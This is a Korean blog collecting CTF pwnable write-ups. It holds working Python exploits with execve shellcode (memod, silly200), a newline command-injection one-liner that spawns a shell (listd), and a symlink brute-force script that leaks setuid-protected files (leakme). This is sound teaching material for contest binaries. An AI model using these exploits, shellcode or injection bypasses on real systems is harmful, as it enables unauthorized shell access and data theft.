고려대학교 워룸에서 진행된 BOB 1기의 모의 사이버전에 출제했던 문제입니다. 모의 사이버전 중 점령전 문제로 설정되어 진행되었는데, 대체로 점령전 참여율이 저조했습니다 ㅋㅋㅋ 제일 세팅기간 길었던 부분인데 ㅜㅜ 

 모의 사이버전 기간이 짧은걸 고려해 대체로 크기가 작게 출제해서 컨셉을 못살린것 같아 살짝 아쉽긴 하네요ㅋㅋ 

암튼 재밌으셨길!

-------------------------------------------------------------------------------------------------------------------------------------------


Category : Pwnable


memod


Summary : 1byte overflow, Bypass stack canary with file descriptor overwrite, Buffer Overflow


주어진 바이너리를 hex-ray로 디컴파일 해보면 아래와 같다.


int __cdecl main()

{

  size_t len; // eax@9

  char buf; // [sp+10h] [bp-128h]@2

  char file[32]; // [sp+110h] [bp-28h]@3

  int fd; // [sp+130h] [bp-8h]@1

  int CANARY; // [sp+134h] [bp-4h]@1


  chdir("/home/memod/memo/");

  CANARY = setvbuf(stdout, 0, 2, 0);

  fd = open("/dev/urandom", 0);

  for ( i = 0; i <= 32; ++i )

  {

    buf = getchar();

    if ( (unsigned int)(buf - 48) > 9 )

    {

      file[i] = 0;

      break;

    }

    file[i] = buf;

  }

  if ( !file[0] )

  {

    puts("Invalid pin number!!");

    exit(0);

  }

  read(fd, &canary_backup, 4u);

  CANARY = canary_backup;

  puts("Easy Memo!\n// Can you bypass the canary? ;p");

  fd = open(file, 65, 420);

  fgets(&buf, 512, stdin); // Vuln !!!!

  len = strlen(&buf);

  write(fd, &buf, len);

  close(fd);

  if ( memcmp(&canary_backup, &CANARY, 4u) )

  {

    puts("***** ERROR! Stack Smash Attempt .. *****");

    exit(-1);

  }

  return 0;

} 


 프로그램의 동작은 간단하다. 사용자로부터 숫자로만 구성된 메모파일명을 입력받는다.

그리고 메모파일명을 입력받기 전에 open해둔 /dev/urandom 디바이스 파일로부터 canary_backup이라는 전역변수에 읽어온다. 이 canary_backup의 값을 지역변수에도 저장해두어 카나리로서 사용된다. 이후 사용자로부터 메모파일에 저장할 데이터를 입력받고, 카나리가 손상되지않았는지 확인한 후 종료된다. 

 간단한 동작원리처럼 취약점도 아주 간단하고 분명하게 발생한다.


...................................
  fgets(&buf, 512, stdin); // Vuln !!!!

...................................


 취약점은 위 코드에서 메모파일에 저장할 데이터를 입력받을 때 발생한다. buf는 256byte짜리 지역변수인데, 512byte를 입력받으므로 stack buffer overflow 취약점이 발생한다. 이 취약점을 이용해 리턴어드레스를 조작하면 공략하는 것은 매우 간단하지만, 한 가지 문제가 있다.

 문제는 /dev/urandom 디바이스 파일에서 읽어온 값을 카나리로 사용하여, 카나리가 조작되었다면 exit함수로 종료해버리기 때문에 카나리를 우회할 방법을 찾아야한다. (/dev/urandom 파일은 커널에서 제공하는 난수생성기라고 보시면 편할듯합니다.) 

 카나리를 고정으로 잡고 브루트 포싱하거나 동시에 열어서 중복되는 경우로 브루트포싱을 시도해볼 수 있지만, 아직 /dev/urandom 디바이스 파일에서 성공한 경우는 보지 못했다. (물론 있을수도 있음)


 카나리를 우회하기 위한 방법을 생각하면서 코드를 훑어보다 보면 취약점을 한가지 더 발견할 수 있다!


.........................

  char file[32]; // [sp+110h] [bp-28h]@3

  int fd; // [sp+130h] [bp-8h]@1

.........................

  fd = open("/dev/urandom", 0);

  for ( i = 0; i <= 32; ++i )  // Vuln !!!!

  {

    buf = getchar();

    if ( buf - 0x30u > 9 )

    {

      file[i] = 0;

      break;

    }

    file[i] = buf;

  }

......................... 


 위와 같이 메모파일명을 입력받는 과정에서 32byte변수에 총 33번(0~32)의 루프를 돌면서 1byte씩 입력을  받기때문에, 결과적으로 1byte 오버플로우가 발생한다. 그런데 1byte오버플로우로 조작하게 되는 변수가 바로 /dev/urandom파일을 open하고 얻은 파일 디스크립터를 저장하는 fd변수이다. 따라서 1byte 오버플로우로 fd를 임의로 조작할 수 있다!

 

 fd를 0으로 조작해주게되면, 카나리를 읽어올때 최종적으로 아래와 같은 동작을 구문을 통해 읽어올 것이다.


.............................
  read(0, &canary_backup, 4u);

.............................


 0번 디스크립터는 stdin(표준입력) 파일 디스크립터이기 때문에, fd를 0으로 조작 후 위 구문으로 read하면, 사용자의 입력값이 카나리로 들어간다. 결국 사용자가 임의로 카나리를 조작해줄 수 있게 된 것이다.


 이제 카나리 체크를 우회해서 오버플로우로 EIP를 조작할 수 있지만, 환경이 Ubuntu 12.04에 ASLR과 NX가 모두 켜져있다는 소문이 있다. 


[pwn3r@localhost ~/]# execstack memod 

X memod 


 하지만 위 로그에서 볼 수 있듯이 바이너리자체에 execstack 옵션이 붙어있기 때문에, 환경에 상관없이 거의 모든 메모리에서 실행권한을 가지므로 NX는 신경 쓸 필요가 없다. 그럼 이제 단순히 쉘코드를 메모리에 올려두고 EIP를 그 주소로 바꿔주면 되지만, 문제는 쉘코드를 "어디에 올려야할지"이다. 프로그램에서 fgets함수로 많은 데이터를 스택에 입력받긴하지만, ASLR이 걸려있어 스택주소가 랜덤인 상황에서 스택으로 바로 뛰어주긴 어렵다. 그럼 프로그램에서 고정된 부분에 입력을 받는 부분이 있는지 좀 더 찾아보니 한 부분에서 고정된 주소에 입력받는 것을 확인할 수 있다!


.bss:08049B2C canary_backup   dd ?                    ; DATA XREF: main+DCo 


 바로 처음에 카나리를 입력받고 저장되는 canary_backup 전역변수이다. canary_backup 변수는 입력을 조작할 수 있지만, 애초에 4byte밖에 입력받지 않아 직접 쉘코드를 넣어줄 순 없다. 하지만 쉘코드로 점프하도록 유도하는 가젯을 넣어줄 순 있다!


 여러가지 가젯을 넣어줄 수 있겠지만, 본인은 "JMP ESP"에 해당하는 바이트코드(ff e4)를 canary_backup에 넣어준 후, 리턴어드레스를 canary_backup의 주소로 조작하고 뒤에 쉘코드를 이어 붙여줌으로써 원샷으로 공격에 성공하는 Exploit을 작성할 수 있었다.


exploit.py 

#!/usr/bin/python


from socket import *

import time

HOST = "192.168.137.122"

PORT = 7456


canary = "\xff\xe4aa"  # "\xff\xe4" = JMP ESP

canary_addr = "\x2c\x9b\x04\x08"  # address of global variable "canary_backup"

SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

# 25byte execve("/bin/sh",["sh",0],0) shellcode


payload = ""

payload += "a"*0x100  # data buffer

payload += "b"*0x20   # filename buffer

payload += "\x04\x00\x00\x00"  # Recover memo file's file descriptor

payload += canary  # my canary

payload += "b"*4  # sfp

payload += canary_addr  # return address (canary_addr has byte code of "JMP ESP")

payload += SHELLCODE  # shellcode


s = socket()

s.connect((HOST, PORT))

s.send("1"*32+"a")  # Overwrite file descriptor

time.sleep(1)


s.send(canary)  # Overwrite Canary

print s.recv(1024)

time.sleep(1)


s.send(payload +"\n")


#########GOT SHELL#############

while 1:

cmd = raw_input("$ ")

s.send(cmd + "\n")

if cmd == "exit":

break

print s.recv(1024)

s.close()

################################


위 익스플로잇을 실행하면 쉘을 획득할 수 있다.


pwn3r@ubuntu:~/# python exploit.py 

Easy Memo!

// Can you bypass the canary? ;p


$ id

uid=1001(memod) gid=1001(memod) groups=1001(memod)


pwned :)


WRITTEN BY
pwn3r_45

트랙백  1 , 댓글  1개가 달렸습니다.
secret

 POC 컨퍼런스의 이벤트로 진행된 Power Of XX라는 여성대상 해킹대회 예선에 출제했던 문제입니다.

system함수에 개행문자를 이용하여 여러명령을 실행할 수 있다는 점을 이용해 필터링을 우회하고 쉘을 획득해야합니다.

이 문제 역시 난이도를 중-하로 잡고 냈기 때문에 매우 간단합니다 :)

-------------------------------------------------------------------------------------------------------------------------------------------


Category : Pwnable

nc 59.9.131.148 7979


데몬의 취약점을 이용해 쉘을 획득하고 /home/listd/flag.txt를 읽으세요.


listd

Summary : shell command injection, filtering bypass with '\n' 


 주어진 파일은 문제서버에서 데몬으로 돌아가고 있는 linux ELF 실행 바이너리이다.


int __cdecl main()

{

  int result; // eax@10

  char cmd; // [sp+1Ch] [bp-30Ch]@10

  char buf; // [sp+21Ch] [bp-10Ch]@1

  int SSP; // [sp+31Ch] [bp-Ch]@1


  SSP = *MK_FP(__GS__, 20);

  memset(&buf, 0, 0x100u);

  read(0, &buf, 0x100u);

  if ( strchr(&buf, '`')

    || strchr(&buf, '|')

    || strchr(&buf, '&')

    || strchr(&buf, '$')

    || strchr(&buf, ''')

    || strchr(&buf, '\"')

    || strchr(&buf, '`')

    || strchr(&buf, ';')

    || strchr(&buf, '`') )

  {

    puts("What are you doing ?");

    exit(0);

  }

  sprintf(&cmd, "ls -al %s", &buf);

  system(&cmd);   // Vuln !!!

  result = 0;

  if ( *MK_FP(__GS__, 20) != SSP )

    __stack_chk_fail();

  return result;

}


 바이너리의 역할은 매우 간단하다. 클라이언트로부터 경로를 입력받고, system함수로 ls -al 명령을 입력받은 경로와 함께 실행하여 해당 경로를 리스팅하는 것이 전부이다. 그런데 ls -al의 경로로 사용하기 위해 입력받은 문자열이 그대로 system함수에 넘어가기 때문에, 쉘의 특수문자들을 이용하여 임의의 쉘명령을 실행시킬 수 있는 취약점이 존재한다. 취약점은 간단하지만 문제점은 쉘에서 사용하는 특수문자들에 대한 필터링이 존재한다는 것이다. 일반적으로 한 구문에서 여러 명령을 실행시킬때 사용할 수 있는 ; & | ` 등의 특수문자들도 모두 필터링되어 사용할 수 없다.


이 필터링을 우회해야 하는 방법을 찾아보다보면, 개행문자(\n)가 필터링 되어있지 않다는 것을 알 수 있다. 쉘명령에서 개행문자를 쓰는 것은 명령 한줄 한줄을 구분해 주는 것이기 때문에, 개행문자를 사용하여 한 문자열에서 여러 개의 명령 구문 실행할 수 있다. 문제 바이너리에서도 개행문자에 대한 필터링이 존재하지 않는다는 것을 이용해 필터링을 우회하여 원하는 임의의 명령을 실행시킬 수 있다. 따라서 입력에 임의로 아무경로나 넣어주고 그 뒤에 개행문자와 함께 sh명령을 넣어주면, "ls -al [임의의 경로]" 명령이 실행되고 sh명령이 실행되어 쉘을 획득할 수 있을 것이다.


바로 공격을 시도해보자.


root@ubuntu:~# (python -c 'print "/dev/null"+"\n"+"sh"';cat)|nc localhost 7979

crw-rw-rw- 1 root root 1, 3 Feb 22  2011 /dev/null

id

uid=1004(listd) gid=1004(listd) groups=1004(listd)

cat /home/listd/flag.txt

6b5f247c1aa7baca0b7c92b792a98a7b 


서버의 쉘을 획득하고 인증키를 얻어냈다.


Flag : 6b5f247c1aa7baca0b7c92b792a98a7b 


WRITTEN BY
pwn3r_45

트랙백  67 , 댓글  1개가 달렸습니다.
  1. 대단하시네요.
    이정도의실력이되려면 C언어 리눅스를 어느정도공부해야될까요?
    기초가계속부족한거같아서ㅡ.ㅡ
secret

 POC 컨퍼런스의 이벤트로 진행된 Power Of XX라는 여성대상 해킹대회 본선에 출제했던 문제입니다.

문제 소스는 BOB 교육이 진행되는 동안 beist님이 만들어 과제로 출제하셨던 문제를 재구성하여 만든 문제입니다ㅋㅋ

출제를 허가해주신 beist님께 감사드립니다 XD

난이도는 중-하 정도로 잡고 냈는데 의외로 한 팀도 못 푸셔서 좀 아쉽지만 .. 재밌는 대회되셨길 !ㅋㅋ

-------------------------------------------------------------------------------------------------------------------------------------------


Category : System Hacking, Trivial

ssh 192.168.0.17


id : leakme

pw : leakme


/home/leakme/leakme의 취약성을 이용하여 /home/leakme/password_1 ~ password_20 파일의 데이터를 알아내세요.


* 인증키 형식 : /home/leakme/password_1 ~ password_20 순으로 파일의 각 글자를 이어붙여 md5()를 거친것이 인증키입니다.


md5(concat(password_1, password_2, ....... , password_20))

Summary : Symbolic link, each byte brute force


ssh 서비스가 열려있는 linux 서버의 계정이 주어졌다. 주어진 계정으로 로그인 해보면 홈디렉토리에서 아래와 같은 파일들을 볼 수 있다.


leakme@ubuntu:~$ ls -l

total 96

-rwsr-xr-x 1 secret secret 11490 Oct 31 10:32 leakme

-r--r--r-- 1 secret secret  2890 Oct 31 10:27 leakme.c

-r-------- 1 secret secret     1 Oct 31 10:43 password_1

-r-------- 1 secret secret     1 Oct 31 10:43 password_10

-r-------- 1 secret secret     1 Oct 31 10:43 password_11

-r-------- 1 secret secret     1 Oct 31 10:43 password_12

-r-------- 1 secret secret     1 Oct 31 10:43 password_13

-r-------- 1 secret secret     1 Oct 31 10:43 password_14

-r-------- 1 secret secret     1 Oct 31 10:43 password_15

-r-------- 1 secret secret     1 Oct 31 10:43 password_16

-r-------- 1 secret secret     1 Oct 31 10:43 password_17

-r-------- 1 secret secret     1 Oct 31 10:43 password_18

-r-------- 1 secret secret     1 Oct 31 10:43 password_19

-r-------- 1 secret secret     1 Oct 31 10:43 password_2

-r-------- 1 secret secret     1 Oct 31 10:43 password_20

-r-------- 1 secret secret     1 Oct 31 10:43 password_3

-r-------- 1 secret secret     1 Oct 31 10:43 password_4

-r-------- 1 secret secret     1 Oct 31 10:43 password_5

-r-------- 1 secret secret     1 Oct 31 10:43 password_6

-r-------- 1 secret secret     1 Oct 31 10:43 password_7

-r-------- 1 secret secret     1 Oct 31 10:43 password_8

-r-------- 1 secret secret     1 Oct 31 10:43 password_9


 secret user의 권한으로 setuid가 걸린 leakme라는 ELF 실행 바이너리와 소스가 있고, secret user만 read권한을 가진 password_1 ~ password_20 파일들이 있다. 문제 설명에서도 알 수 있듯이 leakme user의 권한을 가진 상태로 leakme 바이너리의 취약점을 이용해 secret user만 read가 가능한 password 파일들을 읽어내야한다. 


 우선 주어진 leakme 바이너리의 소스를 보도록 한다.


leakme.c

#include <stdio.h>

#include <stdlib.h>

// Thx for beist! XD


int main(int argc, char *argv[]) {

        int i;

        int j;

        int x=0;

        unsigned char c;

        FILE *fp;

        char buf[20]={0,};


        if(argc != 2) {

                printf("Usage : %s [password]\n", argv[0]);

                exit(0);

        }


        if(strlen(argv[1])!=20) {

                printf("Password must be 20-byte-length\n");

                exit(0);

        }


        i = 0;


        fp = fopen("./password_1", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;



        fp = fopen("./password_2", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;



        fp = fopen("./password_3", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;



        fp = fopen("./password_4", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;


        fp = fopen("./password_5", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;



        fp = fopen("./password_6", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;



        fp = fopen("./password_7", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;



        fp = fopen("./password_8", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;



        fp = fopen("./password_9", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;



        fp = fopen("./password_10", "r");

        c = fgetc(fp);

        fclose(fp);


        if(c != argv[1][i]) {

                exit(0);

        }

        i += 1;



    fp = fopen("./password_11", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



    fp = fopen("./password_12", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



    fp = fopen("./password_13", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



    fp = fopen("./password_14", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



    fp = fopen("./password_15", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



    fp = fopen("./password_16", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



    fp = fopen("./password_17", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



    fp = fopen("./password_18", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



    fp = fopen("./password_19", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



    fp = fopen("./password_20", "r");

    c = fgetc(fp);

    fclose(fp);


    if(c != argv[1][i]) {

        exit(0);

    }

    i += 1;



        printf("Authentication Success!\n");

        return i;

}


 leakme 바이너리의 역할은 굉장히 단순하다. 사용자로부터 인자를 넘겨받고, 20byte인지 검사한 후에 password_1 파일부터 password_20 파일까지 차례로 열어가며 각 글자가 일치하는지 검사한다. 만약 중간에 일치하지 않는 경우가 있다면 exit함수를 호출해 종료해버리며, 모두 일치한다면 "Authentication Success"라는 문자열을 출력해준다. 이렇게 간단한 역할을 하는 바이너리를  이용하여 어떻게 password파일들의 내용을 알아낼 수 있을 것인가. 정녕 256 ^ 20번의 경우의 수로 브루트포싱을 해야하는 것일까?


 ㄴㄴ물론 아니다. 머리를 굴리다 보면 한 가지 트릭을 생각해볼 수 있다. 그냥 한 줄로 요약하기보단 트릭에 대해 차례차례 설명할 것이다. 우선 처음에 주목할 점은 바이너리에선 상대경로를 사용하여 현재 디렉토리(./)에 있는 password파일들을 열어보는 것이기 때문에 다른 디렉토리로 옮겨가면 우리가 임의로 생성해 준 password 파일을 읽게할 수 있다는 점이다.


#!/usr/bin/python


def write_file(filename, data):

f = open(filename, "w")

f.write(data)

f.close()


for i in range(1,21):

write_file("./password_%d" %i, "a") 


 위 파이썬 스크립트를 실행해보면 아래와 같이 a라는 글자들만 들어 있는 password파일들이 생성된다.


leakme@ubuntu:/tmp/pwn3r$ ls -l

total 80

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_1

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_10

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_11

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_12

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_13

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_14

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_15

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_16

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_17

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_18

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_19

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_2

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_20

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_3

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_4

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_5

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_6

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_7

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_8

-rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_9

leakme@ubuntu:/tmp/pwn3r$ cat password_*

aaaaaaaaaaaaaaaaaaaa 

leakme@ubuntu:/tmp/pwn3r$ ~/leakme aaaaaaaaaaaaaaaaaaaa

Authentication Success!


 'a'라는 데이터를 가지는 password파일들이 20개 생성되었기 때문에 해당 디렉토리에서 20개의 'a'를 인자로 하여 leakme 바이너리를 실행하면 인자와 파일내용들이 일치하여 최종적으로 위 로그와 같이 "Authentication Success"라는 문자열이 출력되는 것을 볼 수 있다.


 이제 임의로 생성해 주었던 password_1 파일을 지우고 /home/leakme/ 디렉토리에 있는 password_1파일의 심볼릭 링크를 생성해보자. 


leakme@ubuntu:/tmp/pwn3r$ rm password_1

leakme@ubuntu:/tmp/pwn3r$ ln -s /home/leakme/password_1 ./password_1
leakme@ubuntu:/tmp/pwn3r$ ls -l password_1
lrwxrwxrwx 1 leakme leakme 23 Nov 13 14:03 password_1 -> /home/leakme/password_1


 현재 password_1 파일이 달라졌기 때문에, 위에서 처럼 'a' 20개를 인자로 넘겨줘도 "Authentication Success"라는 문자열을 볼 수 없을 것이다. 하지만 중요한 것은 앞의 한 글자만 달라진 것이기 때문에, 뒤의 19글자는 그대로 'a'로 두고 첫 글자만 브루트포싱해보면, 첫 글자를 알아낼 수 있다!


.......................................................

leakme@ubuntu:/tmp/pwn3r$ ~/leakme Aaaaaaaaaaaaaaaaaaaa

leakme@ubuntu:/tmp/pwn3r$ ~/leakme Baaaaaaaaaaaaaaaaaaa

leakme@ubuntu:/tmp/pwn3r$ ~/leakme Caaaaaaaaaaaaaaaaaaa

Authentication Success!


 위 로그에서처럼 첫 글자를 아스키 값 1~255까지 브루트포싱 하다보면 문자가 password_1 파일 데이터와 일치할때 "Authentication Success!" 문자열이 출력될 것이다. 문자열이 출력된 순간에 넣어줬던 문자를 기록해두고, 다음 password 파일들에 같은 방법으로 브루트포싱을 하다보면 20개의 글자를 모두 알아낼 수 있다. 

 이 동작을 자동으로 20번 반복하도록 파이썬 스크립트를 작성했다.


leakme_evil.py 

#!/usr/bin/python


import os


HOME = "/home/leakme/"

leaked = ""

table = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz !@#%^_+-~/?,."


def write_file(filename, data):

f = open(filename, "w")

f.write(data)

f.close()



for i in range(1,21):

write_file("./password_%d" %i, "a")


for i in range(1,21):

os.unlink("./password_%d" %i)

os.symlink(HOME+"password_%d" %i, "./password_%d" %i)

for ascii in table:

res = os.popen(HOME+"leakme" + " " + leaked+ascii+"a"*(20-i)).read()

if res == "Authentication Success!\n":

print "[+] leaked ' %s ' !!" %ascii

leaked += ascii

break

print "[+] All files leaked !\n> %s" %leaked


 위에서 설명했던 동작을 20번 자동으로 반복하는 파이썬 스크립트이다. 이 스크립트를 실행하면 /home/leakme/ 디렉토리에 있는 password파일들의 데이터를 모두 알아낼 수 있다. 스크립트를 실행해보자.


leakme@ubuntu:/tmp/pwn3r$ ./leakme_evil.py

[+] leaked ' C ' !!

[+] leaked ' H ' !!

[+] leaked ' 1 ' !!

[+] leaked ' c ' !!

[+] leaked ' K ' !!

[+] leaked ' 3 ' !!

[+] leaked ' n ' !!

[+] leaked ' ! ' !!

[+] leaked ' # ' !!

[+] leaked ' @ ' !!

[+] leaked ' p ' !!

[+] leaked ' 4 ' !!

[+] leaked ' D ' !!

[+] leaked ' A ' !!

[+] leaked ' r ' !!

[+] leaked ' K ' !!

[+] leaked ' _ ' !!

[+] leaked ' k ' !!

[+] leaked ' K ' !!

[+] leaked ' ~ ' !!

[+] All files leaked !

> CH1cK3n!#@p4DArK_kK~


모든 password 파일들의 데이터를 알아냈다. 문제 설명에 나와있듯이, 알아낸 데이터를 이어붙여 md5 hash로 변환한 값이 인증 키이다.


Flag bbe6db412c57f804e0df948402874b81


WRITTEN BY
pwn3r_45

트랙백  57 , 댓글  0개가 달렸습니다.
secret

Category : Pwnables


read /home/silly200/flag.txt :p


ADDR : challenge.b10s.org

PORT : 13302


binary : http://jff.b10s.org/files/silly200


* ASLR & NX are enabled on challenge server


* Server OS : Ubuntu 10.04

silly200 


Summary : Global variable based  format string bug on Ubuntu 10.04 

 

 

* 문제풀이 가능성 여부 자체에 대해 의문을 품는 분들도 계셔서 , 문제풀이를 쓰기전에 Exploit부터 올려두겠습니다.

silly200문제는 전역변수에 있는 문자열을 포맷스트링 없이 fprintf로 출력하면서 fsb취약점이 발생하는 문제입니다.

그런데 stack에는 공격자가 원하는대로 컨트롤 가능한 값이 4byte밖에 존재하지 않습니다.

 

이 문제를 풀이하기위해 약간 새로운 Format String Bug exploitation 기술이 사용되었으며 , 문서화중에 있습니다.

그래서 silly200 문제에 관련된 문서는 이 exploit을 포함해 3개가 작성될 예정입니다

 

아래코드가 문제풀이에 사용되는 Exploit입니다.


#!/usr/bin/python

 

from struct import pack
from socket import *
import time

 

HOST = "challenge.b10s.org"
PORT = 13302

SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x10\x48\x48\x48\x48\x48\xcd\x80"

# execve("/bin/sh" , {"sh",0} , 0); Shellcode without 0x0b


p = lambda x :pack("<L" , x)

 

printf_got = 0x804A018 # printf@got
scanf_plt = 0x8048568 # scanf@plt
puts_plt = 0x8048578 # puts@plt
sprintf_plt = 0x80484C8 # sprintf@plt
pppr = 0x80487F6   # pop ; pop ; pop ebp; ret
leave_ret = 0x8048783 # leave ; ret
rwx_ptr = 0x8049ff8  # &GOT + 4
base_addr = 0x804A080 # &(global variable "buffer")
base_addr2 = 0x804AF10 # space for stage2
format_string = 0x8048872 # &"%s"

taddr = []
taddr.append(pppr / 0x10000)
taddr.append(pppr % 0x10000)

######################## pin number ##############################
payload1 = ""
payload1 += str(leave_ret) # leave ; ret ;
##################################################################

 

######################### STAGE 0 ################################
rop1 = ""
rop1 += p(0xdeadbeef)    # dummy
rop1 += p(pppr + 2)     # pop ebp; ret
rop1 += p(base_addr + 900 + 4*4)  # 900 = Size of payload2  ,  4*4 = Size of rop1   ==> this point STAGE 1 paylaod
rop1 += p(leave_ret)    # leave ; ret

payload2 = ""
payload2 += "%8x"*7
payload2 += "%%%dc" %(printf_got - 56 - 4*4) # 4*4 = Size of rop1
payload2 += "%n" # sfp
payload2 += "%2c"
payload2 += "%n" # filename
payload2 += "%8x"*5
payload2 += "%%%dc" %((0x10000 + taddr[0] - ((printf_got + 2 + 40)%0x10000))%0x10000)
payload2 += "%hn"
payload2 += "%8x"*9
payload2 += "%%%dc" %(((0x10000 + taddr[1]) - taddr[0] - 72)%0x10000)
payload2 += "%hn"
payload2 += "a"*(900-len(payload2))

stage_0 = rop1 + payload2
###################################################################

 

######################### STAGE 1 #################################
rop2 = ""
rop2 += p(0xdeadbeef)  # dummy
rop2 += p(scanf_plt)  # scanf@plt
rop2 += p(pppr + 1)   # pop ; pop ; ret;
rop2 += p(format_string) # &"%s"
rop2 += p(base_addr2)  # space for new payload

rop2 += p(leave_ret)  # leave ; ret

stage_1 = rop2
####################################################################

 

######################### STAGE 2 ##################################
rop3 = ""
rop3 += p(0xdeadbeef)  # dummy

rop3 += p(sprintf_plt)      # sprintf@plt
rop3 += p(pppr)             # pop ; pop ; pop ; ret
rop3 += p(base_addr2 + 4*9) # --------------------------------------------|
rop3 += p(format_string)    # &"%s"                                       |
rop3 += p(rwx_ptr)          # &GOT + 4                                    |
#                                                                         |
rop3 += p(scanf_plt)        # scanf@plt                                   |
rop3 += p(pppr + 2)         # pop ; ret;                                  |
rop3 += p(format_string)    # &"%s"                                       |
rop3 += p(0xdeadbeef)       # this will be replaced to RWX memory address<-

stage_2 = rop3

#####################################################################

s = socket(AF_INET , SOCK_STREAM)
s.connect((HOST , PORT))

s.recv(1024)
s.send(payload1 + "\n")  # for pin number

s.recv(1024)
s.send(stage_0 + stage_1 + "\n")
time.sleep(1)
s.send(stage_2 + "\n")
time.sleep(1)
s.send(SHELLCODE + "\n")
time.sleep(1)

########################## Got Shell ##############################

while 1:
 cmd = raw_input("$ ")
 s.send(cmd + "\n")
 if cmd == "exit":
  break
 print s.recv(1024)

s.close()

####################################################################



[pwn3r@localhost silly200]$ ./exploit.py

$ id
uid=1006(silly200) gid=1006(silly200)

$ cat flag.txt
bobrhkwpduffkaksgdmaTTuid=1006(silly200) gid=1006(silly200)



풀이에 사용된 기술


http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack




WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  4개가 달렸습니다.
  1. 비밀댓글입니다
    • 아뇨 해당문제는 제가 낸게아닙니다 ㅎㅎ
      Write-up을 쓰는건 힘들거같고 .. 메일주소알려주시면 출제자분께 풀이 물어봐서 보내드리겠습니다~
  2. pwn3r님 대박이시네요 ㄷㄷㄷ
    이제 까불면 안되겠네...
secret

Category : Pwnables

read /home/silly100/flag.txt :p


ADDR : challenge.b10s.org

PORT : 13301


binary : http://jff.b10s.org/files/silly100


* ASLR & NX are enabled on challenge server


* Server OS : Ubuntu 10.04

 

silly100

Summary : Simple remote BOF on Ubuntu 10.04



이번 write-up은 txt파일로 첨부합니다.



silly100_write-up_pwn3r.txt



:)


* notepad.exe에서 굴림체로 보셔야 정상적으로 보입니다!


WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  8개가 달렸습니다.
  1. 비밀댓글입니다
    • 굳이 stage를 나눈 이유는 스택주소를 알수 없기때문입니다. stage를 나누지 않고 한번에 진행하려 하면 , strcpy함수에 의해 스택에 복사되어있는 페이로드에 다시 복사를 해야한다는 것인데 , 스택주소는 랜덤해서 알수 없으므로 고정된 주소를 가지는 전역변수 영역을 이용한 것입니다.

      stack주소를 알 수 있었다면 strcpy를 통해 복사된 페이로드에 직접 주소를 복사했겠지만 그걸 알 수 없으므로, 고정된 주소를 가지는 전역변수 영역에 있는 페이로드에 주소를 복사함으로써 페이로드를 구성해주고 전역변수 영역으로 스택프레임을 옮겨준겁니다 :)

      추가로 가젯을 찾을 수 있는 좋은 프레임워크로 ropeme라는게 있습니다 :p
  2. 답변감사합니다~
    그런데 스택주소를 알수없는것과 스택프레임을 다시잡는게 어떤 관계인지 아직 모르겠습니다 --;

